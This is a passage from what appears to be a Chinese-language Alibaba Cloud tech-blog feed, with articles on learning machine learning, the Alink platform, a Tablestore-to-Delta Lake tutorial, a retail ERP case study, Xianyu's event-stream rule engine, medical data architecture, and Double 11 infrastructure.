        Daniel Bourke 的如何开始你自己的机器学习工程 (https://towardsdatascience.com/how-to-start-your-own-machine-learning-projects-4872a41e4e9c)—开始你自己的工程可能会很难,这篇文章可以给你一些指引。
        Jeremy Howard 的 fast.ai 深度学习基础 (https://course.fast.ai/part2)—自上而下学习后,本课程将帮助你从下往上填补空白。
        Andrew Trask 的 Grokking Deep Learning (https://amzn.to/2H497My)—这本书将教你如何从头开始构建神经网络,以及为什么你应该知道如何构建。
        Daniel Bourke 推荐的机器学习书籍 (https://www.youtube.com/watch?v=7R08MPXxiFQ)—该 YouTube 视频整理了一些机器学习最佳书籍。

        答疑

        每一步需要多长时间?

        你可能会花 6 个月或更长的时间。别着急,学习新事物需要时间。作为一名数据科学家或机器学习工程师,你正在培养的主要技能是如何针对数据提出好的问题,然后使用你的工具来尝试寻找答案。

        有时候你会觉得自己什么都没学到。甚至倒退。忽略它。不要以天为单位来衡量,看看你一年后有什么样的进步。

        我在哪里可以学到这些技能?

        我在上面列出了一些资源,它们都是在线的,而且大部分都是免费的,类似的资源还有很多。

        DataCamp (http://bit.ly/datacampmrdbourke) 是一个很好学习网站。另外,我的 Machine Learning and Artificial Intelligence resources database (https://bit.ly/AIMLresources) 整理了免费和付费的学习资料。

        记住,作为数据科学家或机器学习工程师,很大一部分工作是要解决问题。通过你的第一个作业探索这里的每一个步骤,并创建你自己的课程来帮助学习。

        如果你想知道一个自我引导的机器学习课程的例子是什么样子的,看看我的 Self-Created AI Masters Degree (https://bit.ly/aimastersdegree)。这是我在过去 9 个月内从零编码变成机器学习工程师的过程。它不是完美的,但是我的真实经历,因此你可以试试。

        统计怎么办?数学怎么办?概率呢?

        实践过程中你会学到这些东西的。先从代码开始。把代码运行起来。在运行代码之前,尝试学习所有的统计、数学、概率知识,就像是在试图煮沸大海。它会让你退缩。如果代码不运行,统计、数学和概率都不重要。先运行起来,然后用你的研究技巧来验证它是否正确。

        证书?

        证书很好,但你不是为了证书而学习,而是为了提高技能。不要和我犯同样的错误,不要认为证书越多代表技能越多,并不是这样的。通过上述课程和资源建立知识基础,然后通过自己的项目完善专业知识(这些是课程无法传授的知识)。

        参考链接:https://towardsdatascience.com/5-beginner-friendly-steps-to-learn-machine-learning-and-data-science-with-python-bf69e211ade5

        ]]>
        全球首个!阿里云开源批流一体机器学习平台Alink Fri, 02 May 2025 09:39:04 +0800 11月28日,阿里云正式开源机器学习平台 Alink,这也是全球首个批流一体的算法平台,旨在降低算法开发门槛,帮助开发者掌握机器学习的生命全周期。

        01.jpg

        Alink基于实时计算引擎Flink,提供丰富的算法组件库和便捷的操作框架,开发者可以一键搭建覆盖数据处理、特征工程、模型训练、模型预测的算法模型开发全流程。作为业界首个同时支持批式算法、流式算法的机器学习平台,Alink提供了Python 接口,开发者无需Flink技术背景也可以轻松构建算法模型。

        据悉,Alink已被广泛运用在阿里巴巴搜索、推荐、广告等多个核心实时在线业务中。在刚刚落幕的天猫双11中,单日数据处理量达到970PB,每秒处理峰值数据多达25亿条。Alink成功经受住了超大规模实时数据训练的检验,并帮助提升4% CTR(商品点击转化率)。

        在Flink Forward 2019大会上,阿里云智能总裁张建锋表示:“大量业务从批处理转变为流处理,实时化是数据处理的真正未来。”自2019年1月起,阿里巴巴将内部维护的Blink全部回馈给Flink开源社区,目前贡献代码数量已超过100万行。此次自主开源的Alink与Flink 相辅相成,将成为开发者的左膀右臂,发挥数据智能在数字经济中的巨大能量。

        从拥抱开源、贡献开源、自主开源升级为持续赋能开源,开源已经升级为阿里技术战略之一。目前阿里自主开源项目数已有一千余个,GitHub star数量超过66w,覆盖AI、大数据、中间件、移动、数据库等多个领域。阿里已成为开源贡献最大的科技公司之一。

        ]]>
        Tablestore+Delta Lake(快速开始) Fri, 02 May 2025 09:39:04 +0800 作者:王卓然 花名琸然 阿里云存储服务技术专家


        背景介绍

        近些年来HTAP(Hybrid transaction/analytical processing)的热度越来越高,通过将存储和计算组合起来,既能支持传统的海量结构化数据分析,又能支持快速的事务更新写入,是设计数据密集型系统的一个成熟的架构。
        表格存储(Tablestore)是阿里云自研的 NoSQL 多模型数据库,提供海量结构化数据存储以及快速的查询和分析服务(PB 级存储、千万 TPS 以及毫秒级延迟),借助于表格存储的底层引擎,能够很好的完成OLTP场景下的需求。Delta Lake类似于支持Delta的Data Lake(数据湖),使用列存来存base数据,行的格式存储新增delta数据,进而做到支持数据操作的ACID和CRUD,完全兼容Spark的大数据生态,通过结合Delta Lake和Spark生态,能够很好的完成OLAP场景下的需求。下图展示的是Tablestore和Delta Lake结合的HATP场景的一个简要的逻辑结构图,有关结构化大数据分析平台设计的更多细节和干货,可以参阅文章 结构化大数据分析平台设计

        image.png

        准备工作

        • 登录阿里云E-MapReduce控制台
        • 创建Hadoop集群(若已创建,请跳过)
        • 确保将Tablestore实例部署在E-MapReduce集群
          相同的VPC环境下

        步骤一 创建Tablestore源表


        详细开通步骤请参考官方文档,本文demo中所创建出来的表名为Source,表的Schema如下图所示,该表有PKString和PkInt两个主键,类型分别为String和Interger。
        image.png

        为表Source建立一个增量通道,如下图所示,通道列表里面会显示该通道的名字、ID以及类型。
        image.png

        技术注解:

        通道服务(Tunnel Service)是基于Tablestore数据接口之上的全增量一体化服务,包含三种通道类型:

        全量:对数据表中历史存量数据消费处理

        增量:对数据表中新增数据消费处理
        全量加增量:先对数据表总历史存量数据消费,之后对新增数据消费
        通道服务的详细介绍可查询Tablestore官网文档

        步骤二 获取相关jar包并上传到hadoop集群


        • 获取环境依赖的JAR包。

        Jar包 | 获取方法 |
        ------- | ------- |
        emr-tablestore-X.X.X.jarX.X.X: Since 1.9.0+ |Maven 库中下载:https://mvnrepository.com/artifact/com.aliyun.emr/emr-tablestore
        tablestore-X.X.X-jar-with-dependencies.jar |下载 EMR SDK 相关的Tablestore依赖包。https://repo1.maven.org/maven2/com/aliyun/openservices/tablestore/5.3.0/tablestore-5.3.0-jar-with-dependencies.jar


        • 集群管理页面,单击已创建的Hadoop集群的集群ID ,进入集群与服务管理页面
        • 在左侧导航树中选择主机列表,然后在右侧查看Hadoop集群中emr-header-1主机的IP信息。
        • 在SSH客户端中新建一个命令窗口,登录Hadoop集群的emr-header-1主机。
        • 上传所有JAR包到emr-header-1节点的某个目录下。

        步骤三 运行Spark Streaming作业


        1. 以一个基于emr demo修改的代码为样例,编译生成JAR包,JAR包需要上传到Hadoop集群的emr-header-1主机中(参见步骤二),完整的代码由于改动较大,不在本文中一一说明,后续会合到emr demo官方项目中。
        2. 该样例以Tablestore表作为数据源,通过结合Tablestore CDC技术,Tablestore Streaming Source和Delta Sink,演示的是TableStore到Delta Lake的一个完整链路。
        3. 按以下命令,启动spark streaming作业,开启一个实时同步Tablestore Source表中数据到Delta Lake Table的监听程序。

        各个参数说明如下:

        参数 参数说明
        com.aliyun.emr.example.spark.sql.streaming.DeltaTableStoreCDC 所要运行的主程序类
        emr-tablestore-X.X.X-SNAPSHOT.jar 包含Tablestore source的jar包
        tablestore-X.X.X-jar-with-dependencies.jar EMR SDK 相关的Tablestore依赖包
        examples-X.X.X-shaded.jar 基于EMR demo修改的包(包含主程序类)
        instance Tablestore实例名
        tableName Tablestore表名
        tunnelId Tablestore表的通道Id
        accessKeyId Tablestore的accessKeyId
        accessKeySecret Tablestore的秘钥
        endPoint Tablestore实例的endPoint
        maxOffsetsPerChannel Tablestore通道 Channel在每个Spark Batch周期内同步的最大数据条数,默认10000。
        catalog 同步的列名,详见Catalog字段说明

        步骤四 数据CRUD示例


        1. 首先在TableStore里插入两行,本次示例中,我们建了8列的同步列,包括两个主键(PkString, PkInt)和六个属性列(col1, col2, col3, timestamp, col5和col6)。由于表格存储是Free-Schema的结构,我们可以任意的插入属性列,TableStore的Spark Source会自动的做属性列的筛选。如下面两张图所示,在插入两行数据后,Delta Table中同步也可以马上读取到两行,且数据一致。
          image.png

        image.png

        1. 接着,在Tablestore中进行一些更新行和插入行的操作,如下面的两个图所示,等待一小段micro-batch的数据同步后,表格存储中的数据同步变化能够即时的更新到Delta Table中。
          image.png

        image.png

        1. 将Tablestore中的数据全部清空,如下面两图所示,Delta Table也同步的变成了空。
          image.png

        image.png

        1. 在集群上,Delta Table默认存放在HDFS中,如下图所示,_delta_log目录中存放的json文件是Transaction log,parquet格式的文件是底层的数据文件。
          image.png

        相关文章推荐:5分钟迅速搭建云上Lambda大数据分析架构


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        ]]>
        普通商超的商业传奇故事,13家门店一年间营收破亿 Fri, 02 May 2025 09:39:04 +0800 在国内商超平台呈现百家齐放的激烈竞争大背景下,随着消费降级,商超经营管理不慎者比比皆是,家乐福、华堂、大润发、华联等超市巨头都不约而同地大规模缩减店铺业务,足以看出市场压力。线下传统零售业态往往缺乏数字化经营意识和数字化经营工具,对于进店客人的转化数据通常是未知的,转型新零售比想象中更难。面对形势新变化,如何应对、寻找突破点,是零售企业必须面对的问题,线下商超也不例外,加速传统超市转型迫在眉睫。

        深发汇源工贸有限公司是山东淄博一家专业的快销品代理型商贸公司,专业从事快销品渠道运作15年,主营食品、日用百货零售批发,公司旗下现代理品牌包括:伊利、汇源、德国进口啤酒等众多品类的前线品牌,长期致力于打造面向全行业客户,形成全渠道购物业态转型的零售运营新模式。

        封面图.jpg

        深发汇源经营管理过程中面临的困难主要体现在报表效率销售管理两方面:

        1.传统报表效率低下,导致货源供需不及时。制作报表、上报库房是旗下每一个超市门店理货员的日常必要工作内容之一,报表制作的前提是每天在店内理货完毕,每周向库房上报一次,库房才能根据理货员上报的情况调配货品,效率非常低,超市货架上经常出现某种商品由于断货挂牌的现象。

        2.销售库存报告不及时,营收状况无法实时获取。由于销售和库存报告的不及时,月底计算利润时也很困难,需要等到13个超市门店产品数量以及销售额盘清后才能结账,最终也会影响公司营销策略根据市场调整。
        业务场景2.jpg

        阿里云云市场高效推动畅捷通T+财务系统的落地实施,助力企业向智能运营转型,不同门店的理货员可以通过网页登录T+系统,与库房进行实时销售数据的传递以及库存更新;库房可以每天根据各类商品的销售排名以及现存量情况有针对性地进行补货发货,很好地解决了货源供需不及时的问题。此外,借助T+系统实时成本的功能,管理者可以迅速地掌握商品销售的毛利情况,结合销售排名及库龄分析,灵活制定促销政策,减少呆滞货物的积压,增加了销售收入。

        深发汇源总经理胡钟涛表示:因为相信阿里云的品牌能力和品质保证,深发汇源选择云市场合作,上线的畅捷通T+ 产品对公司内部管理规范化起到了至关重要的作用,商贸行业的扩展速度比较快,随之而来的问题也比较多,借助T+管理软件,提升工作效率的同时,还能节约管理成本,为我们在其他区域的业务开展奠定了一个良好的基础。现在不管出差到哪里我都可以很方便看到公司的经营数据,及时、准确很有价值!

        依托云市场平台,淄博深发汇源工贸通过畅捷通T+ 系统,完成传统超市从耗费一周进行盘点,到实时掌握库存动态的极速转型。过去一年,深发汇源已实现销售收入1.7亿元,经营规模扩大到13家超市门店+13个库房,覆盖临淄市区及乡镇村级流通终端、高中低档餐饮、特渠等近3800家客户,数字化工具和场景运营的融入帮助传统零售实现瓶颈突破。

        ]]>
        一个周内上线50个增长策略,竟然能这么高效! Fri, 02 May 2025 09:39:04 +0800 image.png
        作者|程哲(兰昊)
        出品|阿里巴巴新零售淘系技术部

        导读:年初的一个晨会上,用户增长负责人湘翁问我说:一个周内上线50个增长策略,技术兄弟们能做到么?

        在闲鱼用户增长业务上的实验

        闲鱼的用户增长业务具有如下现状:

        闲鱼的卖家都是普通小卖家,而非专业的 B 类商家。因此无法统一组织起来参加营销活动带来买家活跃。这一点是与淘宝/天猫的差别。

        我们目前 DAU 已经突破到 2000W ,如何承接好这么大体量的用户,对运营同学是个很大的考验。

        为了能更好地做好用户增长,在今年年初时,我们在用户增长下做了多个实验,希望提高用户停留时长。用户浏览时间越长,就越有可能发现闲鱼上还有很多有趣的内容,无论是商品宝贝还是鱼塘内的帖子。从而达到吸引用户下一次还能再回来的目的,最终带来用户增长。其中两个实验如下:

        image.png
        image.png

        我们做的实验上线后大部分都取得了不错的业务效果,但是在过程中也暴露了两个问题:

        研发周期长 一开始,我们先用最快的实现方案来做,主要是为了快速验证规则策略的有效性,并没有做大而全的设计,每个需求都是case by case地写代码来实现。那么从开始开发真正能到上线,很可能就是三周,主要因为客户端发版是有窗口的。

        运营效率慢 因为上线慢,导致获取业务数据后再分析效果就很晚了,然后还要根据数据再去做调整那就更晚了。这样算下来,一年也上不了几个规则策略。

        工程化解法——基于事件流的规则引擎

        针对上述问题,我们先做了一层业务抽象。运营先通过对用户的各种行为进行一个分析和归类,得出一个共同的具体的规则,再将这个规则实时地作用到用户身上进行干预。

        image.png

        针对这层业务抽象,我们再做了工程化,目的就是为了提升研发效率和运营效率。这样就有了第一个方案——基于事件流的规则引擎,我们认为用户的行为是一串顺序的行为事件流,使用一段简单的事件描述 DSL ,再结合输入和输出的定义,就可以完整地定义一个规则。

        image.png

        以上述用户增长的第二个实验为例,如下图所示的 DSL 即可简单表达出来:

        image.png

        image.png

        规则引擎的局限性

        该规则引擎可以很好地解决之前用户增长业务下的几个策略,随后我们进行了内部推广,准备在闲鱼 C2C 安全业务下也落地。在 C2C 安全业务上有如下描述:

        image.png

        在 C2C 安全业务上,也有一个看似是一个针对一系列行为作出的规则抽象,如下图所示:

        image.png

        但是将上述规则套上规则引擎后,就会发现无法将安全的规则套上规则引擎。假设我们的详细规则是1分钟内被拉黑2次,就对该用户打上高危标记。那么我们想一想,当来了第一个拉黑事件后,匹配上了。然后紧接着来了第二个拉黑事件,也匹配上了。此时按照规则引擎的视角,条件已经满足了,可以进行下一步操作了。但是再仔细看一看规则,我们的规则是要被不同的用户拉黑,因为有可能是同一个用户操作了多次拉黑(同时多开设备)。而规则引擎上只知道匹配到了2次拉黑事件,对规则引擎来说已经满足了。却无法知道是否是不同人操作的。其根本原因是因为在规则引擎里,事件都是无状态的,无法回溯去做聚合计算。

        image.png

        新的解决方案

        针对规则引擎的局限性,重新分析和梳理了我们的实际业务场景。并结合了业界知名的通用的解决方案后,设计出了新的方案,定义了新的 DSL 。可以看到,我们的语法是类 SQL 的,主要有以下几个考虑:

        • SQL已经是语义完备的编程语言,不用再去做额外的语法设计。
        • SQL是一门很简单的语言,不需要花太多时间就可以掌握。
        • 我们闲鱼的运营同学会写SQL,这样会让上线效率更快。

        image.png

        image.png

        新的 DSL 方案与之前的规则引擎相比主要有以下几个增强:

        • 增加了条件表达式。可以支持更丰富更复杂的事件描述,也就能支撑更多的业务场景。
        • 增加了时间表达式。通过 WITHIN 关键字,定义了一个时间窗口。通过 HAVING 之后跟的DISTINCT等关键字,就可以针对时间窗口内的事件进行聚合计算。使用新的方案,就可以很好地解决上述 C2C 业务上的规则描述问题。
        • 扩展性强。遵循了业界标准,与具体业务的输入和输出无关,便于推广。

        针对之前的 C2C 业务上的规则描述问题,使用新方案的例子如下:

        image.png

        image.png

        ▶ 整体分层架构

        基于这套用EPL(Event Programming Language)写出的DSL,为了做好工程化,我们做了如下的整体分层架构。为了快速实现最小闭环验证效果,我们选择先基于Blink(Blink是阿里对Flink的内部优化和升级)做云上的解析和计算引擎。

        在这个分层架构里,至上而下分别是:

        • 业务应用 在这里是我们整个系统的业务方,已经在多个业务场景下做了落地。
        • 任务投放 这里是对业务应用层提供DSL声明和投放的能力,能可以做简单的圈人,以及与用户触达模块的关联。
        • 用户触达 这个模块用于接收来EPL引擎计算的结果,根据关联的Action来实施动作。同时这个模块也可以独立对业务应用提供服务,即各个业务方可以拥有自己的逻辑,通过用户触达模块来触达用户。
        • EPL引擎 目前已经实现了云上的解析和结算。用于接收来自任务投放里声明的DSL,再去解析和运行在Blink上。
        • 事件采集 负责通过服务端日志和行为打点里采集行为事件,并归一化地输出给EPL引擎。

        image.png

        ▶ 事件采集

        通过切面的方式拦截所有的网络请求和行为打点,再记录到服务端日志流里。同时通过一个事实任务对事件流进行清洗,按前面定义的格式清洗出我们想要的事件。再将清洗后的日志输出到另一个日志流里,供 EPL 引擎来读取。

        image.png

        ▶ EPL 实现

        由于我们采取了类 SQL 语法,而 Calcite 是业界通用的解析 SQL 的工具,因此我们采用 Calcite 并通过自定义其中的 parser 来解析。如果是单一事件的 DSL ,则会解析成 Flink SQL 。如果是多事件的 DSL ,则会解析后通过直接调用 Blink 的 API 接口的方式来实现。

        image.png

        ▶ 用户触达

        当 EPL 引擎计算出结果之后,会输出给用户触达模块。首先会进行一个 Action 路由,最终决策出需要由具体哪一个 Action 来响应,最后通过与客户端之间的长连接将 Action 下发到端上。端上收到具体的 Action 后,会先判断当前用户的行为是否允许展示该 Action。如果可以的话,就直接执行 Action 的具体内容,曝光给用户。用户看到这次响应后会有相应的行为,那么这部分的行为会影响到 Action 路由,对这次的路由的做出一个反馈。

        image.png

        应用落地

        新方案上线后,我们就在越来越多的业务场景里进行了落地。这里列举2个例子:

        image.png

        image.png

        image.png

        在上述鱼塘的例子里,可以看出来,我们这套方案已经有了一点算法推荐的影子了。在上述租房的例子里,由于规则过于复杂,用DSL表达起来很麻烦,所以就做成只采集4次浏览不同租房宝贝的规则,即触发后,就将这里的数据都给到租房的具体开发的业务方,这也是我们在落地过程中摸到的边界。

        结论

        使用这一套完整方案,研发效率上有了很大的提升。原先通过写代码 case by case 的方式一般要4个工作日完成整个研发流程,极端情况下需要跟客户端版本则需要 2-3 周的时间。现在通过写 SQL 的方式一般要0.5个工作日即可上线。

        此外,这套方案还有如下几个优势:

        • 高性能 整条链路计算完毕平均耗时5秒。
        • 高可靠 依托于 Blink 的高可靠性,承载了双十一上亿的流量。

        通过在多个业务的落地实践,我们也摸索出来这套方案的适用边界:

        • 对实时性要求高
        • 强运营主导规则
        • 能够用 SQL 表达

        未来规划

        当前整套方案还有如下几个方向可以进一步探索:

        整条链路计算完毕平均需要5秒左右。如果放到对实时性要求更高的游戏任务场景下时,这就无法满足了。

        闲鱼的业务已经连年保持了高增长,未来可能会面对比当下翻三番的用户流量,如果所有计算依然全部放在云上,则对云上的算力消耗是个极大的挑战。

        目前我们的设计上,是没有算法接入的,只有简单的圈人。而为了让规则的投放更加精准,进而提升规则对用户的有效性,是需要与算法结合的。

        综上,我们未来的规划将会聚焦于端侧实时计算能力的挖掘和算法能力的结合上。在这两个能力的扩展上,我们将与端智能团队一起共建 BehaviR 框架,预计明年1月会落地。

        One More Thing

        闲鱼团队是Flutter+Dart FaaS前后端一体化新技术的行业领军者,就是现在!客户端/服务端java/架构/前端/质量工程师面向社会招聘,base杭州阿里巴巴西溪园区,一起做有创想空间的社区产品、做深度顶级的开源项目,一起拓展技术边界成就极致!

        投喂简历给小闲鱼→guicai.gxy@alibaba-inc.com

        ]]>
        医疗数据典型特征及架构发展方向研究 Fri, 02 May 2025 09:39:04 +0800 前言

        医疗健康产业目前呈高速发展状态,处在互联网对医疗行业赋能的关键阶段,由于医疗行业数据的隐私性较强,通过传统方式很难获取公开的医疗健康数据进行研究,根据阿里云天池比赛赛题设置研究及提供的脱敏数据集着手进行分析是比较理想的手段。本文的目的在于对医院的信息系统流程进行思考,结合公开数据集对于医疗健康数据特征进行分析,从而得出未来医疗健康产业数据架构模式的发展方向。

        医疗健康数据特征

        首先看一下天池比赛近期的两场比赛,都是针对医疗数据进行研究并进行挖掘的,采用脱敏数据,数据来源于实际病例因此参考价值较高:
        image.png
        image.png
        分析两个比赛提供的数据集形式,可以明显感到医疗数据集的特征为数据异构,即因为医疗检测手段的关系,数据图像化比例较高,但是因为训练数据集需要根据患者其他特征包括性别、年龄、身高、体重等进行统筹分析,因此也包含了一部分结构化数据,因此医疗数据集是典型的非结构化数据和结构化数据并存的异构数据集。

        常用预测算法分析

        医疗数据所需要的预测结果一般为分类,由于结果的主要目的并非直接作出定性结论而更多的是为医生提供参考因此二分类(即是或不是)和多分类(分为几类)都有实际价值。
        从宫颈癌风险智能诊断比赛要求结果看,初赛恶性细胞检测算法属于二分类问题,而复赛宫颈癌恶性细胞检测分类算法属于多分类问题即需要将检测结果分类成5类典型宫颈癌。
        数据处理方面,需要结合训练集图像输入和医生的手工标注信息和患者特征信息,因此深度学习算法的普遍使用成为必然,由于单张CT图片和标注信息只能属于一个患者因此JSON文件被采用作为记录文件形式是非常合适的,单张CT文件对应单个JSON文件相比结构化表单能够更好的记录数据。
        image.png
        从数据量大小分析,数千份宫颈癌细胞学图片和对应异常鳞状上皮细胞位置标注,每张数据在20倍数字扫描仪下获取,大小300~400M。因此以训练集包含800张图片计算训练数据集大小约为273G,非结构化数据占了绝大部分。
        从心电人机智能大赛比赛要求结果看,心电异常事件分类属于多分类问题即需要将检测结果分类成训练集中的异常事件种类。4万个医疗心电样本。每个样本有8个导联,分别是I,II,V1,V2,V3,V4,V5和V6。单个样本采样频率为500 HZ,长度为10秒,单位电压为4.88微伏(microvolts)。因此在检测设备输出时已经将数据结构化,相比CT图片的特征提取和数据处理并不需要采用深度学习算法,常规数据预处理手段即能满足需求。
        从算法角度进行分析,针对图片进行计算需要用到深度学习算法,各类神经网络中RNN即卷积神经网络被使用频率较高,也是目前图像识别的主流算法。对两个比赛中选手公开的算法进行统计,宫颈癌风险智能诊断比赛所采用的算法几乎全部为基于神经网络的深度学习算法,差异无非是所采用的深度学习框架不同和基于神经网络衍生的算法采用不同。代表数据科学界对于未来非结构化医疗数据所采用的算法大方向上是统一的。心电人机智能大赛采用算法为机器学习分类算法,目前基于决策树的分类算法占据绝对主导地位,在决策树的基础上衍生的机器学习算法如RF即随机森林算法、GBDT算法和LIGHTLGBM算法又占了多数,LIGHTLGBM算法最普遍被使用。
        从交叉验证集调参和测试集验证效果评估来说,面向癌症算法和其他如心脏异常情况算法需要关注的角度不一样,癌症因为检测结果对于病员包括家属心理冲击很大,因此对于测准率和召回率的平衡问题需要非常关注,防止算法过拟合而造成的草木皆兵情况,同时也加大了医生复核的工作量。而心脏异常算法或是其他普通生化指标数据,则过拟合的问题没有那么严重,因为数据的体量到了一定的程度根据大数定理即使过拟合也会逐步的倾向于往较为准确的趋势发展。特别对于心脏异常情况判断,高测准率极其重要,因为数据的实时性强并且随时间变化价值下降速度较快,即使过拟合而误报,能让病员或家属重视总是没有错的。

        医疗数据处理架构方案

        根据以上对于医疗健康数据特征、所采用的数据挖掘算法分析结果,对于医疗数据处理所用的架构方案进行研究。
        医疗数据结构化和非结构化并存的特征造成需要使用CPU和GPU结合的异构计算。从医院现实条件来说,非结构化数据的来源主要为放射性检查设备等产生的图像,如CT每张图片的大小就约为350M,而生化指标包括心电指标能够以结构化数据呈现。非结构化数据的处理需要消耗大量GPU计算力,无法在现实情况下要求医院对于本地IDC机房进行大规模扩容并增加GPU集群。因此从架构上来说云-雾-边协同会是比较理想的架构方式。
        1 边缘计算节点
        各类检测设备附近的计算节点(包括设备自带的和医生查看结果的PC机)构成协同体系内边缘计算节点,但是现有技术条件下边缘计算的计算力相对偏弱,无法要求边缘节点进行大规模图像识别计算,因此边缘计算节点的主要任务是数据清洗并负责向雾端传送,由于医院的检查种类较多,各种报告和图像信息数据格式并不统一,因此预先在边缘端进行数据清洗有助于雾端和云端降低计算压力并帮助医院未来实现统一数据中台可能。
        2 雾计算节点
        医院现有本地IDC机房可以考虑作为雾计算节点,雾计算节点目前对于医疗行业尤其重要,虽然5G技术在时延上和传输速度上都满足大规模数据传输要求但是由于医院的环境较为复杂,如果边缘计算节点的数据需要直接传送到云端则在网络层会极其依赖无线通信手段,而无线通信特别是5G较高的频率在全方位全覆盖性的边缘计算节点与云端通信过程中是否会对医疗设备产生干扰和其他预料之外的问题需要在实际应用中再研究,短期内,边缘计算节点数据通过有线通信手段传送到雾计算节点是最合适的方法。
        雾计算节点的现实作用非常多,如集中边缘计算节点数据和区分应用场景并进行计算,特别如果个别医院本地IDC服务器集群配置较强则可以就地对于结构化数据进行挖掘、训练模型并进行预测工作而不必传送到云端。此外从通信角度,雾端作为统一数据出口向云端无线传输数据可以最大可能避免无线信号对于医疗设备可能的干扰作用。短期5G未普及情况或者费用较高的情况下可以采用本地IDC与云端专线通信方式作为过渡手段。
        在具有多个院区的医院中,不同地域的本地IDC作为雾端能够进行异地容灾建设。多个本地IDC机房在不同地域互为灾备,确保单一节点故障能够及时迁移确保业务不中断及存储数据的可用性和完整性。
        3 云端
        云计算平台能够很好的解决医院异构数据计算需求大但又短时间无法配置大规模GPU集群的现实情况,CT等放射性检查设施产生的高清图像文件及其他需要采用深度学习算法的数据可以统一通过雾端传输到云端进行计算,云计算弹性伸缩的优势在面对医院计算力需求随患者数量呈时间性波动的情况时也可以最大可能的减小医院异构计算成本,GPU集群的配置通过弹性伸缩在医院计算力需求大时自动扩充计算节点,而需求小时自动减小集群内虚拟机规模。

        ]]>
        在双十一创新技术试验场上,阿里用了哪些武器? Fri, 02 May 2025 09:39:04 +0800

        image

        来源/ 中国软件网(ID:Hapiweb-soft6);作者/刘学习;编辑/ Emon

        天猫“双11”是一场购物盛宴?在大家的眼中确实是这样。

        但是在阿里人的眼中,天猫“双11”更是一场创新技术的试验场。许多突破行业天花板的创新技术,经过双11考验,正源源不断地走向更多的应用领域。

        阿里巴巴集团董事局主席兼首席执行官张勇在不久前谈及天猫双11时表示:“相比销售数字,我更关心技术的峰值。“

        2019年的双11,阿里又试验了哪些技术?又经受了哪些考验呢?

        阿里巴巴的核心系统100%跑在了公共云上!全球第一家把如此大规模的核心系统放在公共云上,即使大家耳熟能详的全球互联网公司也没有一家能做到。

        阿里云扛住了世界上最大的流量洪峰,每秒订单创建峰值54.4万笔!而国内的某知名电商却正在为每秒1000笔创建订单而发愁。

        阿里自研数据库POLARDB和OceanBase分别处理每秒8700万、6100万笔峰值请求;实时计算处理峰值每秒25.5亿笔;计算平台单日处理970PB数据;12亿笔物流智能化……

        在双11当天,阿里CTO张建锋说,今年双11,阿里仍然是一家高速飞行中的飞机,我们成功的在这个过程中换上了全新的引擎。

        image

        那让我们看看,双11背后的阿里的那些神秘的技术。

        1 神龙架构,要将虚拟化之间性能和损耗降为0

        2017年,阿里云发布了第一代神龙架构。作为一个“新物种”,神龙开创了云计算时代新计算范式,将芯片、软件以及硬件服务器完美融合在一起,在全球率先攻克了计算资源和性能损耗的 “顽疾”。

        虚拟化技术让云计算具备弹性等优势,但也会如同黑洞般吸收走一部分机器的性能。例如,一台96内核的服务器上运行云服务器,可能需要占用8核32G来抵消虚拟化的开销,留给用户使用的只剩88核和剩余内存,造成了算力的浪费。

        尽管云厂商、芯片商、虚拟化厂商都在试图尝试新的方法,减少资源和性能损耗,如Intel等芯片厂商提供了硬件级别的虚拟化支持,虚拟化技术本身也从Xen演进到了KVM,但由于软件、硬件、系统集成商各层之间依旧是各玩各的,并把自己的领域做到更好,都未能在根本上解决问题。

        而神龙架构能弥补虚拟化带来的性能损耗,同时拥有云的弹性和运维优势。
        2019年杭州云栖大会上,阿里云推出了第三代神龙架构,全面支持ECS虚拟机、裸金属、云原生容器等,在IOPS、PPS等方面提升5倍性能。

        image


        阿里云推出第三代神龙架构

        在历经软件虚拟化、通用硬件虚拟化、专用硬件芯片虚拟化三个阶段后,第三代神龙架构实现了裸金属服务器、ECS虚拟机等计算平台的架构统一,能够将线下的物理集群非常顺滑得迁移到云,不仅保证稳定运行,在性能上还有非常大的飞跃:在云原生场景下,高效调度和自动化弹性伸缩的容器化产品可帮助用户降低50%的计算成本,性能比物理机更优越。

        未来,神龙架构能将虚拟化之间性能和损耗降为0吗?确实非常值得期待的!

        2 PolarDB:首次服务双11的云数据库经受住流量峰值考验

        阿里云自主研发的PolarDB今年首次服务于阿里经济体双11,在11日凌晨顺利通过了流量峰值的考验,创下了每秒处理8700万笔请求的峰值记录。

        PolarDB的特色首先体现在它是国内首个云原生数据库,采用存储计算分离、软硬一体化等创新设计,满足大规模业务场景上云需求。

        第二,在性能上经受主了考验。在双11期间的70个小时的10TB的业务数据创建只读副本,在PolarDB上只需2分多钟。

        第三,PolarDB另一个更关键的是成本只有商用数据库的1/10。

        在数据库市场,云数据库服务日渐兴起,成为用户使用数据的一个重要方式。今年双11期间,阿里云旗下自研数据库PolarDB、RDS、AnalyticDB、TSDB等全线数据库产品参与双11,申通、大润发等业务背后都有阿里云数据库产品做支撑。

        3 OceanBase:服务于金融业务,不能丢失一条数据

        在金融领域,Oracle数据库占据统治地位。要想撼动Oracle数据库的地位,就要保证不能丢失任何一条数据这个底线,也绝对不能出现支付时不停“画圈“的体验。

        天猫双11走过11年,消费者早已习惯了“丝般顺滑”的支付体验。这背后是支付宝技术的不断提升与创新,支付宝自主研发的金融级分布式关系数据库OceanBase,就是其中的翘楚。

        2014年,支付宝开启去IOE征程,大胆尝试将10%的交易支付切换到OceanBase,结果超出想象。

        今年10月,OceanBase在 “数据库领域世界杯”TPC-C基准测试中,打破了由美国公司Oracle保持了9年之久的联机交易处理系统(OLTP)世界纪录,成为首个登顶该榜单的中国数据库产品,被评价为“中国基础软件取得的重大突破”。

        值得一提的是,今年天猫双11前夕,OceanBase完成了Oracle模式的研发,银行和金融机构原先使用Oracle的业务可以平滑迁移到OceanBase上。

        目前已有银行伙伴完成了业务到OceanBase迁移,不仅帮助金融机构降低数据库使用成本,还可以享受分布式带来的红利,如高可用、高性能和在线扩展等。

        4 飞天大数据平台:国内最大规模数据的计算平台

        今年双11单日数据处理量再创记录,达到970PB。这一天量数据,什么样的平台能应付得了?

        抗住这一规模数据挑战的就是阿里的飞天大数据平台,飞天大数据平台也成为国内规模最大的计算平台,创下了多项世界记录:

        2013年8月15日,阿里云历史性地突破了同一个集群内5000台服务器同时计算的局限,如今可扩展至10万台计算集群。

        2015、2016年,阿里云刷新世界计算奥运会SortBenchmark的六项世界纪录。

